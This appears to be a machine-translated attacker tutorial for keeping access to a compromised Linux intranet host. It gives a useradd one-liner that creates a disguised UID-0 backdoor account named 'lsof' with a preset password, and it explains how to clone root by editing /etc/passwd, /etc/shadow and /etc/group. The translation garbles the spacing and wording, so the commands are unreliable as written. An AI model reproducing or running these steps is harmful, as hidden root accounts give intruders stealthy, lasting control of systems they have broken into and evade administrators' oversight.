Intranet machine Power Add account, no echo, set password is difficult to get, the following is to add a root level account and set password command
Useradd-p ' OpenSSL passwd-1-salt ' lsof ' admin '-u 0-o-G root-g root-s/bin/bash-d/usr/bin/lsof lsof
Command interpretation
Useradd Add Users
-P ' OpenSSL passwd-1-salt ' lsof ' admin ' refers to setting the user's password, inside the lsof is almost the key and so on, you can write, admin is plaintext password
-U 0-o a user with a UID of 0 is relative to the root level.
-G root-g Root to add users to the root group
-s/bin/bash Specify a new user's shell path
-d/usr/bin/lsof New user's home directory, you can define your own
Lsof the user name of the new user
Second, clone account
Of course, we can use cloning to make a root account directly.
New Normal User system
# Useradd System
# passwd System
Add root Shell
# VIM/ETC/PASSWD
System:x:0:0:root:/root:/bin/bash
# Vim/etc/shadow
system:$1$ouljnnw/$kAyt 7s.rztjwswllfli3f1:14921:0:99999:7:::
Add into Root group
#vim/etc/group
Root::0:root,systems